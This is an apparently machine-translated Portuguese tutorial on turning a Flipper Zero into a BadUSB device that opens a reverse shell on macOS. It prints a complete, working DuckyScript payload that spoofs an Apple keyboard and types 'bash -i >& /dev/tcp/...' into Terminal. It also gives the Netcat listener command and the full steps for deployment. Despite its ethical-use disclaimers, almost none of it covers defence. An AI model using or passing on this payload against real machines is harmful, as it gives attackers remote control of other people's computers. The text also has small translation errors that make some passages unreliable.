Usando um Flipper Zero, um pequeno arquivo de texto DuckyScript de 12 linhas e um ouvinte remoto em meu servidor Ubuntu, consegui obter um shell em meu computador Ventura macOS totalmente atualizado e atualizado. Em meu ambiente de laboratório, uso o Flipper Zero como um dispositivo de pentesting para testar vulnerabilidades em meus servidores e sistemas de desktop. O Flipper Zero é nossa ferramenta de hacking ético preferida porque oferece um número infinito de cargas disponíveis, possui uma ferramenta de seleção de menu na tela e usa uma exibição de progresso para fornecer feedback. Este artigo é um exemplo de como usar o Flipper Zero como um dispositivo Ethical Petesting BadUSB e como evitar ser vítima de tal exploração. Não use isso em computadores que você não possui ou tem permissão para usar. Este código não tenta se esconder de sistemas de detecção de intrusão (IDS), sistemas de prevenção de intrusão (IPS), sistemas de detecção de rede, firewalls ou software antivírus (AV). Cargas úteis de USB ruins O Flipper Zero BadUSB, assim como vários outros dispositivos BadUSB, usam cargas escritas em DuckyScript. Uma linguagem de script simples para executar pressionamentos de tecla, resultando em um ataque de injeção de teclado. Um bom ponto de referência inicial para Duckyscript Payloads é o site oficial do Hak5: . Aqui você encontrará exemplos e documentação para usar o DuckScript. https://shop.hak5.org/blogs/payloads/tagged/usb-rubber-ducky Vamos escrever um pouco de DuckyScript Você pode usar um script pronto ou aprender a escrever o seu próprio. Mostraremos como explorar um shell reverso em um computador macOS em um passo a passo simples. Use seu editor de texto favorito e digite o seguinte texto. O macOS tem o aplicativo TextEdit instalado por padrão, então vamos usá-lo. ID 05ac:021e Apple:Keyboard DELAY 1000 GUI SPACE DELAY 200 STRING terminal DELAY 200 ENTER DELAY 1000 STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 DELAY 1000 ENTER DELAY 1000 Para este passo a passo, não precisamos saber muito sobre o DuckyScript, então veremos alguns comandos que nosso script usa. Na verdade, existem apenas cinco comandos diferentes que usamos. Comando Descrição ID 05ac:021e Apple:Teclado Esta linha diz ao macOS que nosso Flipper Zero é realmente um teclado Apple. Se você não usar esta linha, o macOS exibirá a caixa de diálogo Assistente de configuração do teclado, que fará com que seu script falhe. ATRASO Este comando instrui o sistema operacional a aguardar um período de tempo. Se não usarmos esses atrasos, o script será executado muito rápido e falhará. ESPAÇO GUI Pressiona a tecla Apple Command e a barra de espaço para abrir a janela 'Spotlight Search'. Terminal STRING Insere a string 'Terminal' na janela de pesquisa do Spotlight DIGITAR Pressione a tecla ENTER ou Return em seu teclado. Depois de pressionar a tecla ENTER, o macOS inicia a janela do Terminal (/Aplicativos/Utilitários/Terminal) STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 Este comando insere o texto na janela do terminal que estabelece uma conexão com o servidor Netcat escutando em 10.10.10.157 na porta 4444 Altere o endereço IP em e a porta para o endereço IP e a porta do seu servidor. 10.10.10.157 4444 Salve este arquivo em seu disco como . Não há nenhuma organização de subdiretório no diretório no Flipper Zero, portanto, se você estiver usando várias cargas úteis para diferentes sistemas operacionais, use uma convenção de nomenclatura que signifique algo para você, para que você saiba o que ela faz. rev_shell_macos.txt badusb Instalando o aplicativo qflipper Se você ainda não instalou o aplicativo qflipper, acesse a página de atualização oficial do Flipper Zero e selecione o instalador para o seu sistema operacional. A página é a página de atualização do firmware, mas na parte inferior há links para instalar o aplicativo qflipper. https://flipperzero.one/update https://flipperzero.one/update?embedable=true Siga as instruções do seu sistema operacional para instalar o aplicativo qflipper. Colocando o Duckyscript no Flipper Zero Abra o aplicativo qflipper e selecione o ícone da pasta destacado em vermelho. Selecione e clique duas vezes no ícone para visualizar o conteúdo. do cartão SD Localize e arraste o arquivo que criamos anteriormente para a pasta . rev_shell_macos.txt badusb Remova o Flipper Zero do seu computador quando o arquivo for copiado. Esperando por um shell reverso O Flipper Zero BadUSB está armado e pronto para uso. Mas primeiro, precisamos configurar nosso ouvinte remoto em nosso servidor. Em nosso servidor Ubuntu, inicie o ouvinte Netcat com o seguinte comando: $ nc -nlvp 4444 A divisão do comando está listada na tabela a seguir. Novamente, você realmente não precisa saber o que está acontecendo usando este comando, além de estar esperando por uma conexão de entrada. Comando Opções nc comando netcat -nlvp ( ) sem resolução de DNS, ( ) escuta a conexão de entrada, ( ) saída detalhada, ( ) porta n l v p 4444 Número da porta para escutar Agora que nosso ouvinte Netcat está pronto e aguardando uma conexão de entrada, podemos prosseguir com o ataque Flipper Zero BadUSB. Iniciando o BadUSB Reverse Shell A parte difícil está feita. O arquivo Flipper Zero BadUSB é gravado, movido para o Flipper Zero e o ouvinte Netcat está aguardando uma conexão. reverse_shell_macos.txt Localize o menu Bad USB e selecione o botão Executar. Não conecte seu Flipper Zero ao computador ainda. O Flipper Zero avisa quando é hora de conectar seu dispositivo. Navegue até o arquivo DuckyScript que copiamos na etapa anterior. Se você não vir este arquivo, então você o copiou para o diretório errado. Selecione e clique no botão Executar. rev_shell_macos Ao ver o alerta , você pode conectar seu Flipper Zero à porta USB do seu iMac ou MacBook. Clique no botão Executar. Conectar a USB Você pode observar o progresso do seu script BadUSB na janela principal. Quando o status atingir 100%, a carga útil estará completa e você poderá remover o Flipper Zero. Se você estiver observando o monitor do computador do iMac, poderá ver o exploit enquanto ele executa o DuckyScript. O ouvinte Netcat em nosso servidor Ubuntu exibe os resultados da solicitação bem-sucedida. Controle do seu computador Agora você tem controle do computador macOS por meio de um shell reverso. Executando em uma versão do BSD Linux, você pode usar as ferramentas de linha de comando do Unix e um shell BASH como se estivesse sentado no teclado do iMac físico. Você pode usar comandos regulares do Linux como , , ou para navegar no sistema de arquivos e manipular o sistema operacional. whoami pwd ls cd Próximos passos Agora que você entendeu como o Flipper Zero funciona como um dispositivo BadUSB, você pode criar seus próprios scripts. Use o site Hak5 ou um dos muitos repositórios DuckyScript GitHub disponíveis por meio de uma pesquisa no Google como ponto de partida para seus próprios arquivos Duckyscript. Atuar de forma legal e ética. Use esta ferramenta em dispositivos que você possui ou tem permissão para usar.